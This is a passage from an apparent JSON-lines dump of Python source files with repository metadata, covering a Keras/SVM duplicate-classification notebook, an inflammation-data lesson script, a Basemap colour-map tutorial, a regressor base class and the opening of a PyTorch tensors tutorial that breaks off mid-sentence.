Classifier\n\n# In[ ]:\n\n\nget_ipython().run_cell_magic('time', '', '\\nfrom sklearn import svm\\n\\nsvc = svm.SVC()\\nsvc.fit(X_train, y_train)\\n\\ny_pred = svc.predict_proba(X_test)\\nlogLoss = log_loss(y_test, y_pred)\\n\\nlogLoss')\n\n\n# ## FC Network\n\n# In[17]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nfeatures_train = features[split]\\nfeatures_test = features[~split]\\n\\nlabels_train = duplicate[split]\\nlabels_test = duplicate[~split]\\n\\nfeatures_train = np.asmatrix(features_train)\\nfeatures_test = np.asmatrix(features_test)\\n\\nlabels_train = np.asmatrix(labels_train)\\nlabels_test = np.asmatrix(labels_test)\\n\\nlabels_train = kUtils.to_categorical(labels_train, 2)\\nlabels_test = kUtils.to_categorical(labels_test, 2)\\n\\n#architecture\\nmodel = Sequential()\\nmodel.add(Dense(300, activation= 'elu', input_dim = features_train.shape[1]))\\n#model.add(Dropout(0.2))\\nmodel.add(BatchNormalization())\\nfor i in range(8):\\n    model.add(Dense(200, activation= 'elu'))\\n    #model.add(Dropout(0.2))\\n    #model.add(BatchNormalization())\\nmodel.add(Dense(2, activation= 'softmax'))\\n\\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\\n\\nhistory= model.fit(features_train, labels_train, batch_size=128, epochs=20, verbose=2, validation_data=(features_test, labels_test))\\n\\nscore = model.evaluate(features_test, labels_test, verbose=0)\\n\\nprint('Log loss: {}'.format(score[0]))\\nprint('Accuracy: {}'.format(score[1]))\")\n\n\n# ### Add Dropout and Normalization\n\n# In[19]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nfeatures_train = features[split]\\nfeatures_test = features[~split]\\n\\nlabels_train = duplicate[split]\\nlabels_test = duplicate[~split]\\n\\nfeatures_train = np.asmatrix(features_train)\\nfeatures_test = np.asmatrix(features_test)\\n\\nlabels_train = np.asmatrix(labels_train)\\nlabels_test = np.asmatrix(labels_test)\\n\\nlabels_train = kUtils.to_categorical(labels_train, 2)\\nlabels_test = kUtils.to_categorical(labels_test, 2)\\n\\n#architecture\\nmodel = Sequential()\\nmodel.add(Dense(300, activation= 'elu', input_dim = features_train.shape[1]))\\nmodel.add(Dropout(0.2))\\nmodel.add(BatchNormalization())\\nfor i in range(8):\\n    model.add(Dense(200, activation= 'elu'))\\n    model.add(Dropout(0.2))\\n    model.add(BatchNormalization())\\nmodel.add(Dense(2, activation= 'softmax'))\\n\\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\\n\\nhistory= model.fit(features_train, labels_train, batch_size=128, epochs=20, verbose=2, validation_data=(features_test, labels_test))\\n\\nscore = model.evaluate(features_test, labels_test, verbose=0)\\n\\nprint('Log loss: {}'.format(score[0]))\\nprint('Accuracy: {}'.format(score[1]))\")\n\n\n# ### Esperimenti\n\n# In[ ]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nfeatures_train = features[split]\\nfeatures_test = features[~split]\\n\\nlabels_train = duplicate[split]\\nlabels_test = duplicate[~split]\\n\\nfeatures_train = np.asmatrix(features_train)\\nfeatures_test = np.asmatrix(features_test)\\n\\nlabels_train = np.asmatrix(labels_train)\\nlabels_test = np.asmatrix(labels_test)\\n\\nlabels_train = kUtils.to_categorical(labels_train, 2)\\nlabels_test = kUtils.to_categorical(labels_test, 2)\\n\\n#architecture\\nmodel = Sequential()\\nmodel.add(Dense(400, activation= 'elu', input_dim = features_train.shape[1]))\\nfor i in range(13):\\n    model.add(Dense(400, activation= 'elu'))\\nmodel.add(Dense(2, activation= 'softmax'))\\n\\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\\n\\nhistory= model.fit(features_train, labels_train, batch_size=128, epochs=20, verbose=2, validation_data=(features_test, labels_test))\\n\\nscore = model.evaluate(features_test, labels_test, verbose=0)\\n\\nprint('Log loss: {}'.format(score[0]))\\nprint('Accuracy: {}'.format(score[1]))\")\n\n", "meta": {"hexsha": "374cb3c2bc044372458ff16235e577dd1734b59b", "size": 38575, "ext": "py", "lang": "Python", "max_stars_repo_path": "Machine Learning/Sklearn.py", "max_stars_repo_name": "cece95/Tesi", "max_stars_repo_head_hexsha": "6cfe1babf907315f427d05c4b8dcc0b40b7bcaba", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Machine Learning/Sklearn.py", "max_issues_repo_name": "cece95/Tesi", "max_issues_repo_head_hexsha": "6cfe1babf907315f427d05c4b8dcc0b40b7bcaba", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Machine Learning/Sklearn.py", "max_forks_repo_name": "cece95/Tesi", "max_forks_repo_head_hexsha": "6cfe1babf907315f427d05c4b8dcc0b40b7bcaba", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.7478354978, "max_line_length": 2501, "alphanum_fraction": 0.6685418017, "include": true, "reason": "import numpy,from numpy", "num_tokens": 10714, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.144148856709452, "lm_q1q2_score": 0.06477943447174377}}
{"text": "import glob\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport analysis_tools\n\nfilenames = sorted(glob.glob('../03-fundamentals-of-python/inflammation*.csv')) # is equivalent to \n#glob.glob(filname) -> filename.sort()\n\nfor f in filenames[:3]:\n    print(f)\n    analysis_tools.analyse(f)\n    analysis_tools.detect_problems(f)\n\n", "meta": {"hexsha": "26473ae153eee9831b92ab3183c753f717f8daa6", "size": 333, "ext": "py", "lang": "Python", "max_stars_repo_path": "04-further-python/rcsc18-data-analysis.py", "max_stars_repo_name": "waledeigt/rcsc18_lessons", "max_stars_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "04-further-python/rcsc18-data-analysis.py", "max_issues_repo_name": "waledeigt/rcsc18_lessons", "max_issues_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "04-further-python/rcsc18-data-analysis.py", "max_forks_repo_name": "waledeigt/rcsc18_lessons", "max_forks_repo_head_hexsha": "f2056c064fcd42e2096d7ff16fff9097764ee31b", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.2, "max_line_length": 99, "alphanum_fraction": 0.7417417417, "include": true, "reason": "import numpy", "num_tokens": 80, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.1561049013715009, "lm_q1q2_score": 0.06476774340225416}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSome example's of good and bad plotting practices\n\t\nResources:\n\tFor all the great color paletes for python, got to\n\thttps://jiffyclub.github.io/palettable/\n\n\tFor more infomation about which colormaps are safe, see\n\thttp://colorbrewer2.org/\n\tNote: all colorbrewer colormaps are in the palettable package\n\n\tFor general infomation about map making see:\n\thttp://gisgeography.com/map-elements-how-to-guide-map-making/\n\thttp://www.esri.com/news/arcuser/0911/making-a-map-meaningful.html\n\n\tFor a detailed guide to mapmaking see the Mapbox guide pdf in the repo\n\"\"\"\n__title__ = \"Plotting and map making\"\n__author__ = \"Arden Burrell\"\n__version__ = \"1.0 (19.01.2018)\"\n__email__ = \"arden.burrell@unsw.edu.au\"\n\n\n#==============================================================================\n\n# general modules\n# import os, sys # check for files and so on\nimport numpy as np # array manipulations\n\n# plotting modules \nimport matplotlib.pyplot as plt\n#import matplotlib.cm as cm\nimport matplotlib.colors as mpc\nfrom matplotlib import ticker\n# import matplotlib as mpl\nimport pdb\n# for mapping \nfrom mpl_toolkits.basemap import Basemap\n\n# for all the awesome color palets!!!!!!!!!!\nimport palettable \n\n#==============================================================================\n# =========== Main function ==========\n\ndef main():\n\t\"\"\"\n\n\tCall the demonstration functions in order\n\n\t\"\"\"\n\t# Show the mapping of years \n\tyearmapper()\n\n\t# Map a variable that diverges\n\tdivergingmap()\n\t\n\t# Map a variable that is in groups\n\tgroupmap()\n\n\t# Map a variable that is sequental \n\tsequentialmap()\n\n\n#==============================================================================\n# =========== plotting functions ==========\ndef mapper(\n\timage, cmap, vmin, vmax, region=\"global\", title=None, \n\ttks=False, tckstr=None, norm=False, nancolour='dimgrey'\n\t):\n\t\"\"\"\n\tA general mapping function that can be used to generate many different\n\tmap types  \n\t\"\"\"\n\n\t# ===== set the spatial cordinates of the grid, mask the ocean and draw coastlines =====\n\t# Note: \n\t# \tbecause all of the imput datastes are numpy arrays, the lon and lat bounds \n\t# \tand the spatial projection (epsg) are hard coded. This infomation can be \n\t# \tcan be pulled automitically from nectdf, geoTif's and other raster data\n\tif region == \"global\":\n\t\t# Set the map frame\n\t\tmap = Basemap(llcrnrlon=-180.0,llcrnrlat=-90.0,urcrnrlon=180,urcrnrlat=90.0, resolution = 'h', epsg=4326)\n\t\t#adds national borders \n\t\tmap.drawcountries() \n\telif region == \"australia\":\n\t\t# Set the map frame\n\t\tmap = Basemap(llcrnrlon=112.0,llcrnrlat=-44.5,urcrnrlon=156.25,urcrnrlat=-10, resolution = 'h', epsg=4326)\n\t\tmap.drawlsmask(land_color='none', )\n\telif region == \"mongolia\":\n\t\t# Set the map frame\n\t\tmap = Basemap(llcrnrlon=85.0,llcrnrlat=40,urcrnrlon=120,urcrnrlat=52, resolution = 'h', epsg=4326)\n\t\tmap.drawlsmask(land_color='none', )\n\t\t# Draw national borders with a thicker line\n\t\tmap.drawcountries(linewidth = 1.25) \n\telse:\n\t\tsys.exit(\"Unknown Grid region\")\n\t# Set the color or NaN's in the data\n\tmap.drawmapboundary(fill_color=nancolour) #used to be grey\n\t# For land data, it is usefull to mask lakes etc\n\tmap.fillcontinents(color= 'none', lake_color='white')\n\t# Add all of the coastlines to the map\n\tmap.drawcoastlines()\n\t# Add the US and Australian state lines (Doesn't yet support other counteries)\n\tmap.drawstates()\n\n\t# ====== Add mpc.BoundaryNorm made custom cmaps =====\n\tif norm == False:\n\t\tmap.imshow(np.flipud(image), cmap=cmap, vmin=vmin, vmax=vmax)\n\telse:\n\t\tmap.imshow(np.flipud(image), cmap=cmap, vmin=vmin, vmax=vmax, norm=norm)\n\t\n\tcb = map.colorbar()\n\t\n\t# ===== Move and adjust the number and location of colorbar ticks =====\n\tif tks == False:\n\t\ttick_locator = ticker.MaxNLocator(nbins=20)\n\telif type(tks)==int:\n\t\ttick_locator = ticker.MaxNLocator(nbins=tks)\n\telse:\n\t\ttick_locator = ticker.MaxNLocator(nbins=vmax-vmin)\n\t# Add the changes to the colorbar\n\tcb.locator = tick_locator\n\tcb.update_ticks()\n\n\t# ===== Overwrite the tick labels and replace them with user defined =====\n\tif tckstr is not None:\n\t\tcb.ax.set_yticklabels(tckstr) \n\n\t# ===== add in the Graticules (lon lat grid lines) ======\n\tif region == \"global\":\n\t\tmap.drawparallels(np.arange(-90, 90, 10),labels=[1,0,0,0], dashes=[1,2])\n\t\tmap.drawmeridians(np.arange(-180, 180, 20),labels=[0,0,0,1], dashes=[1,2])\n\telif region == \"australia\":\n\t\tmap.drawparallels(np.arange(-50, -10, 10),labels=[1,0,0,0], dashes=[1,2])\n\t\tmap.drawmeridians(np.arange(110, 156.25, 10),labels=[0,0,0,1], dashes=[1,2])\n\telif region == \"mongolia\":\n\t\tmap.drawparallels(np.arange(40, 60, 5),labels=[1,0,0,0], dashes=[1,2])\n\t\tmap.drawmeridians(np.arange(80, 120, 5),labels=[0,0,0,1], dashes=[1,2])\n\t\n\t# ===== Show the plot =====\n\tplt.show()\n\n\ndef yearmapper():\n\t\"\"\"\n\tDemonstrate how to map a variable where there a many subdevisions,\n\tin this case the years of a breakpoint detected by the TSS.RESTREND method\n\tapplied to GIMMSv3.1g NDVI data over mongolia. \n\n\tIn this data:\n\t\t- Nan values mean the method failed\n\t\t- 0 value means that the method detected no breakpoints\n\t\t- else: the year in which a ecosystem breakpoint occured \n\t\"\"\"\n\n\t# Load the data from a numpy array \n\tmong_bp = np.load(\"./Data/Mongolia_breakpoint_years.npy\")\n\n\t# ===== Make a naive plot =====\n\t# Comments: this plot is meant to be terrible, \n\t# \tAll the values that are relevant are hidden\n\t# \tThere is no colorbar\n\t\n\t# Set the figure number\n\t#\tThis isnt strictly nessary, but usefull if you \n\t# \twant to generate multiple plots then show them together \n\tplt.figure(1) \n\t# Make the plot\n\tplt.imshow(mong_bp)\n\tplt.show()\n\n\t# pdb.set_trace()\n\t\n\t# ===== Make a slightly less terrible one =====\n\t# Comments: this plot easier to read but not a map \n\t# \tAdded bounds, and a much better colormap\n\t# \tThe colormap is still continuous (hard to read)\n\t\n\t#Hard code the start and end years, (these can be determined automatically) \n\tvmin = 1987\n\tvmax = 2011\n\t# Get a colormap thats a bit better and tweak it\n\tcmap = plt.cm.jet \n\tcmap.set_under('w') #sets values <vmin to white in the plot\n\tcmap.set_bad('dimgrey') \n\n\t# Create the image\n\n\tplt.imshow(mong_bp, vmin = vmin, vmax = vmax, cmap=cmap)\n\tplt.colorbar()\n\tplt.show()\n\t\n\t# ===== Turn this into a proper map with a segmented colorbar =====\n\tplt.figure(2) \n\t# Comments: Now its an actual map\n\t# \tSegmented colorbars are easier to read\n\t# \tThe colormap is still continuous (hard to read)\n\n\t# +++++ turn a continuous colormap into a segmented one ++++\n\t# The continuous color map \n\tcmap = plt.cm.jet\n\t# extract all colors from the cmap\n\tcmaplist = [cmap(i) for i in range(cmap.N)]\n\tcmap = cmap.from_list('Custom cmap', cmaplist, cmap.N)\n\t# Define the coverage and segments (max values, min values, number of segments)\n\tbounds = np.linspace(vmin, vmax, vmax-(vmin-1))\n\t# Select the colors for each bound using BoundaryNorm function\n\tnorm = mpc.BoundaryNorm(bounds, cmap.N)\n\t# set pixels below the vmin to color to be white\n\tcmap.set_under('w')\n\t# cmap.set_above('w') # set colors above the vmax value to a color\n\ttks = (vmax-vmin)/2+1\n\t\n\t# +++++ Pass the data and infomation the mapper function +++++\n\tmapper(mong_bp, cmap, vmin, vmax, region=\"mongolia\", tks=tks, norm=norm)\n\n\t# Note: There is almost no reason to use Jet in science, \n\t# this is one of very few exceptions. Use palettable ones instead!!!!! \n\ndef divergingmap():\n\t\"\"\"\n\tDemonstrate how to map a variable where the values diverge,\n\tin this case,  the total change in NDVI between 1982-2015 as \n\tdetected by the TSS.RESTREND method\tapplied to GIMMSv3.1g NDVI\n\tdata. \n\n\tIn this data:\n\t\t- Nan values mean the method failed\n\t\t- -1 values have no statistically significant change in vegetation\n\t\t- else: total change in NDVI (note:NDVI is normalised between 0 and 1) \n\t\"\"\"\n\n\t# ===== Load the data from a numpy array =====\n\tTC = np.load(\"./Data/Global_total_change.npy\")\n\n\t# ===== setup the mapping variables =====\n\t# set the min and max\n\tvmax = 0.3\n\tvmin = -0.3\n\t# Grab a diverging colormap from palettable\n\tcmap = mpc.ListedColormap(palettable.colorbrewer.diverging.PiYG_10.mpl_colors)\n\t# set the color of values of pixels with no significant change (have been set to -1)\n\tcmap.set_under('w')\n\t# This number needs to be adjusted to get the ticks tp line up\n\ttks=11\n\n\t# Generate the map \n\tmapper(TC, cmap, vmin, vmax, region=\"global\", tks=tks)\n\t\n\ndef sequentialmap():\n\t\"\"\"\n\tDemonstrate how to map a variable where the values are sequential.\n\tin this case,  the p between NDVI and rainfall detected by the \n\tTSS.RESTREND method\tapplied to GIMMSv3.1g NDVI data. \n\n\tIn this data:\n\t\t- NaN values mean the method failed\n\t\t- else: and Rsquared value between 0 and 1 \n\t\"\"\"\n\n\t# ===== Load the data from a numpy array =====\n\tpval = np.load(\"./Data/Global_pval.npy\")\n\t\n\t# ===== setup the mapping variables =====\n\t# set the min and max\n\tvmax = 1\n\tvmin = 0\n\t# Grab a sequential colormap from palettable\n\tcmap=mpc.ListedColormap(palettable.cmocean.sequential.Thermal_20_r.mpl_colors)\n\t# set the color of values of pixels with no significant change (have been set to -1)\n\t# cmap.set_under('w')\n\t# set the number of ticks\n\ttks=21\n\t\n\t# ===== Generate the map =====\n\tmapper(pval, cmap, vmin, vmax, region=\"global\", tks=tks)\n\n\t# Note: \n\t# \tThis is a terrible plot. Hopefully MS will\n\t# \tupdate the script with a function that allows \n\t#\tcolormas to be scalled. \n\n\t\ndef groupmap():\n\t\"\"\"\n\tDemonstrate how to map a variable where the values are in \n\tclassified groups. in this case,  the comparison of TSS.RESTREND \n\tdirection between GIMMSv3.1g NDVI and VOD data. \n\n\tIn this data:\n\t\t- The numbers refer to groups (0 - 8)\n\t\"\"\"\n\n\t# ===== Load the data from a numpy array =====\n\tgroups = np.load(\"./Data/Global_classes.npy\")\n\t# show what the data looks like\n\tplt.imshow(groups)\n\tplt.colorbar()\n\tplt.show()\n\t\n\t# ===== setup the mapping variables =====\n\t# set the min and max\n\tvmin = -0.5\n\tvmax = 8.5\n\t# Create the labels\n\tlabel2=['No Change', 'Both Dec', 'Both Inc','NDVI Inc, VOD Dec','NDVI Inc, VOD stable', 'NDVI stable, VOD Dec','VOD Inc, NDVI Dec', 'VOD Inc, NDVI stable', 'VOD stable, NDVI Dec']\n\t# Create a custom discrete colourmap from hex values \n\tcmaphex = ['#d1cdca','#AF0627', '#ffffff','#1a9850', '#91cf60','#d9ef8b','#6a51a3','#9e9ac8', '#cbc9e2'] \n\tcmap = mpc.ListedColormap(cmaphex)\n\t# Set the color under\n\tcmap.set_under('w')\n\t\n\t# ===== Generate the map =====\n\tmapper(groups, cmap, vmin, vmax, region=\"global\", tks=True, tckstr = label2)\n\t\n\n\nif __name__ == '__main__':\n\tmain()", "meta": {"hexsha": "c9b4942b0b66e6afb92b96de73d38de437b99dcf", "size": 10454, "ext": "py", "lang": "Python", "max_stars_repo_path": "Plotting_and_mapping/Mapping_and_colours_ArdenB.py", "max_stars_repo_name": "ManonSabot/CCRCexamples", "max_stars_repo_head_hexsha": "5b7eb66d348e8820c07f74f3aeb4588f15996151", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Plotting_and_mapping/Mapping_and_colours_ArdenB.py", "max_issues_repo_name": "ManonSabot/CCRCexamples", "max_issues_repo_head_hexsha": "5b7eb66d348e8820c07f74f3aeb4588f15996151", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Plotting_and_mapping/Mapping_and_colours_ArdenB.py", "max_forks_repo_name": "ManonSabot/CCRCexamples", "max_forks_repo_head_hexsha": "5b7eb66d348e8820c07f74f3aeb4588f15996151", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-27T07:39:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-27T07:39:29.000Z", "avg_line_length": 32.2654320988, "max_line_length": 180, "alphanum_fraction": 0.6818442701, "include": true, "reason": "import numpy", "num_tokens": 3054, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.15610488959337065, "lm_q1q2_score": 0.06476773851552152}}
{"text": "import numpy as np\n\n# object is the base class\nclass Regressor(object):\n    \"\"\"\n    Base class for regressors\n    \"\"\"\n\n    def fit(self, X, t, **kwargs):\n        \"\"\"\n        estimates parameters given training dateset\n\n        Parameters\n        ----------\n        X: (sample_size, n_fatures) np.ndarray\n            training data input\n        \n        t: (sample_size, ) np.ndarray\n            training data target\n        \"\"\"\n        self.__check_input(X)\n        self.__check_target(t)\n        if hasattr(self, \"__fit\"):\n            self.__fit(X, t, **kwargs)\n        else:\n            raise NotImplementedError\n\n    def __check_input(self, X):\n        if not isinstance(X, np.ndarray):\n            raise TypeError(\"X(input) is not a np.ndarray\")\n        if X.ndim != 2:\n            raise ValueError(\"X(input) is not two dimentional array\")\n        # The hasattr() method returns true if an object has the given named attribute \n        # and false if it does not.\n        if hasattr(self, \"n_features\") and self.n_features != np.size(X, 1):\n            raise ValueError(\n                \"mismatch in dimension 1 of X(input) \"\n                \"(size {} is different from {})\"\n                .format(np.size(X, axis = 1), self.n_features))\n    \n    def __check_target(self, t):\n        if not isinstance(t, np.ndarray):\n            raise TypeError(\"t(target) must be np.ndarray\")\n        if t.ndim != 1:\n            raise ValueError(\"t(target) mst be one dimensional array\")\n\n", "meta": {"hexsha": "f364a6816d6c0f2df99d2c974352bf12eef779ba", "size": 1479, "ext": "py", "lang": "Python", "max_stars_repo_path": "linear/regressor.py", "max_stars_repo_name": "yiruijiang/PRML", "max_stars_repo_head_hexsha": "6757b67047e29f324513b4634bd1ecd85d6aab14", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "linear/regressor.py", "max_issues_repo_name": "yiruijiang/PRML", "max_issues_repo_head_hexsha": "6757b67047e29f324513b4634bd1ecd85d6aab14", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "linear/regressor.py", "max_forks_repo_name": "yiruijiang/PRML", "max_forks_repo_head_hexsha": "6757b67047e29f324513b4634bd1ecd85d6aab14", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.4680851064, "max_line_length": 87, "alphanum_fraction": 0.5571331981, "include": true, "reason": "import numpy", "num_tokens": 329, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.13477590699708827, "lm_q1q2_score": 0.06475694962666863}}
{"text": "\"\"\"\n`Introduction <introyt1_tutorial.html>`_ ||\n**Tensors** ||\n`Autograd <autogradyt_tutorial.html>`_ ||\n`Building Models <modelsyt_tutorial.html>`_ ||\n`TensorBoard Support <tensorboardyt_tutorial.html>`_ ||\n`Training Models <trainingyt_tutorial.html>`_ ||\n`Model Understanding <captumyt_tutorial.html>`_\n\nIntroduction to PyTorch Tensors\n===============================\n\nFollow along with the video below or on `youtube <https://www.youtube.com/watch?v=r7QDUPb2dCM>`__.\n\n.. raw:: html\n\n   <div style=\"margin-top:10px; margin-bottom:10px;\">\n     <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/r7QDUPb2dCM\" frameborder=\"0\" allow=\"accelerometer; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n   </div>\n\nTensors are the central data abstraction in PyTorch. This interactive\nnotebook provides an in-depth introduction to the ``torch.Tensor``\nclass.\n\nFirst things first, let\u2019s import the PyTorch module. We\u2019ll also add\nPython\u2019s math module to facilitate some of the examples.\n\n\"\"\"\n\nimport torch\nimport math\n\n\n#########################################################################\n# Creating Tensors\n# ----------------\n# \n# The simplest way to create a tensor is with the ``torch.empty()`` call:\n# \n\nx = torch.empty(3, 4)\nprint(type(x))\nprint(x)\n\n\n##########################################################################\n# Let\u2019s unpack what we just did:\n# \n# -  We created a tensor using one of the numerous factory methods\n#    attached to the ``torch`` module.\n# -  The tensor itself is 2-dimensional, having 3 rows and 4 columns.\n# -  The type of the object returned is ``torch.Tensor``, which is an\n#    alias for ``torch.FloatTensor``; by default, PyTorch tensors are\n#    populated with 32-bit floating point numbers. (More on data types\n#    below.)\n# -  You will probably see some random-looking values when printing your\n#    tensor. The ``torch.empty()`` call allocates memory for the tensor,\n#    but does not initialize it with any values - so what you\u2019re seeing is\n#    whatever was in memory at the time of allocation.\n# \n# A brief note about tensors and their number of dimensions, and\n# terminology:\n# \n# -  You will sometimes see a 1-dimensional tensor called a\n#    *vector.* \n# -  Likewise, a 2-dimensional tensor is often referred to as a\n#    *matrix.* \n# -  Anything with more than two dimensions is generally just\n#    called a tensor.\n# \n# More often than not, you\u2019ll want to initialize your tensor with some\n# value. Common cases are all zeros, all ones, or random values, and the\n# ``torch`` module provides factory methods for all of these:\n# \n\nzeros = torch.zeros(2, 3)\nprint(zeros)\n\nones = torch.ones(2, 3)\nprint(ones)\n\ntorch.manual_seed(1729)\nrandom = torch.rand(2, 3)\nprint(random)\n\n\n#########################################################################\n# The factory methods all do just what you\u2019d expect - we have a tensor\n# full of zeros, another full of ones, and another with random values\n# between 0 and 1.\n# \n# Random Tensors and Seeding\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~\n# \n# Speaking of the random tensor, did you notice the call to\n# ``torch.manual_seed()`` immediately preceding it? Initializing tensors,\n# such as a model\u2019s learning weights, with random values is common but\n# there are times - especially in research settings - where you\u2019ll want\n# some assurance of the reproducibility of your results. Manually setting\n# your random number generator\u2019s seed is the way to do this. Let\u2019s look\n# more closely:\n# \n\ntorch.manual_seed(1729)\nrandom1 = torch.rand(2, 3)\nprint(random1)\n\nrandom2 = torch.rand(2, 3)\nprint(random2)\n\ntorch.manual_seed(1729)\nrandom3 = torch.rand(2, 3)\nprint(random3)\n\nrandom4 = torch.rand(2, 3)\nprint(random4)\n\n\n############################################################################\n# What you should see above is that ``random1`` and ``random3`` carry\n# identical values, as do ``random2`` and ``random4``. Manually setting\n# the RNG\u2019s seed resets it, so that identical computations depending on\n# random number should, in most settings, provide identical results.\n# \n# For more information, see the `PyTorch documentation on\n# reproducibility <https://pytorch.org/docs/stable/notes/randomness.html>`__.\n# \n# Tensor Shapes\n# ~~~~~~~~~~~~~\n# \n# Often, when you\u2019re performing operations on two or more tensors, they\n# will need to be of the same *shape* - that is, having the same number of\n# dimensions and the same number of cells in each dimension. For that, we\n# have the ``torch.*_like()`` methods:\n# \n\nx = torch.empty(2, 2, 3)\nprint(x.shape)\nprint(x)\n\nempty_like_x = torch.empty_like(x)\nprint(empty_like_x.shape)\nprint(empty_like_x)\n\nzeros_like_x = torch.zeros_like(x)\nprint(zeros_like_x.shape)\nprint(zeros_like_x)\n\nones_like_x = torch.ones_like(x)\nprint(ones_like_x.shape)\nprint(ones_like_x)\n\nrand_like_x = torch.rand_like(x)\nprint(rand_like_x.shape)\nprint(rand_like_x)\n\n\n#########################################################################\n# The first new thing in the code cell above is the use of the ``.shape``\n# property on a tensor. This property contains a list of the extent of\n# each dimension of a tensor - in our case, ``x`` is a three-dimensional\n# tensor with shape 2 x 2 x 3.\n# \n# Below that, we call the ``.empty_like()``, ``.zeros_like()``,\n# ``.ones_like()``, and ``.rand_like()`` methods. Using the ``.shape``\n# property, we can verify that each of these methods returns a tensor of\n# identical dimensionality and extent.\n# \n# The last way to create a tensor that will cover is to specify its data\n# directly from a PyTorch collection:\n# \n\nsome_constants = torch.tensor([[3.1415926, 2.71828], [1.61803, 0.0072897]])\nprint(some_constants)\n\nsome_integers = torch.tensor((2, 3, 5, 7, 11, 13, 17, 19))\nprint(some_integers)\n\nmore_integers = torch.tensor(((2, 4, 6), [3, 6, 9]))\nprint(more_integers)\n\n\n######################################################################\n# Using ``torch.tensor()`` is the most straightforward way to create a\n# tensor if you already have data in a Python tuple or list. As shown\n# above, nesting the collections will result in a multi-dimensional\n# tensor.\n# \n# .. note::\n#      ``torch.tensor()`` creates a copy of the data.\n# \n# Tensor Data Types\n# ~~~~~~~~~~~~~~~~~\n# \n# Setting the datatype of a tensor is possible a couple of ways:\n# \n\na = torch.ones((2, 3), dtype=torch.int16)\nprint(a)\n\nb = torch.rand((2, 3), dtype=torch.float64) * 20.\nprint(b)\n\nc = b.to(torch.int32)\nprint(c)\n\n\n##########################################################################\n# The simplest way to set the underlying data type of a tensor is with an\n# optional argument at creation time. In the first line of the cell above,\n# we set ``dtype=torch.int16`` for the tensor ``a``. When we print ``a``,\n# we can see that it\u2019s full of ``1`` rather than ``1.`` - Python\u2019s subtle\n# cue that this is an integer type rather than floating point.\n# \n# Another thing to notice about printing ``a`` is that, unlike when we\n# left ``dtype`` as the default (32-bit floating point), printing the\n# tensor also specifies its ``dtype``.\n# \n# You may have also spotted that we went from specifying the tensor\u2019s\n# shape as a series of integer arguments, to grouping those arguments in a\n# tuple. This is not strictly necessary - PyTorch will take a series of\n# initial, unlabeled integer arguments as a tensor shape - but when adding\n# the optional arguments, it can make your intent more readable.\n# \n# The other way to set the datatype is with the ``.to()`` method. In the\n# cell above, we create a random floating point tensor ``b`` in the usual\n# way. Following that, we create ``c`` by converting ``b`` to a 32-bit\n# integer with the ``.to()`` method. Note that ``c`` contains all the same\n# values as ``b``, but truncated to integers.\n# \n# Available data types include:\n# \n# -  ``torch.bool``\n# -  ``torch.int8``\n# -  ``torch.uint8``\n# -  ``torch.int16``\n# -  ``torch.int32``\n# -  ``torch.int64``\n# -  ``torch.half``\n# -  ``torch.float``\n# -  ``torch.double``\n# -  ``torch.bfloat``\n# \n# Math & Logic with PyTorch Tensors\n# ---------------------------------\n# \n# Now that you know some of the ways to create a tensor\u2026 what can you do\n# with them?\n# \n# Let\u2019s look at basic arithmetic first, and how tensors 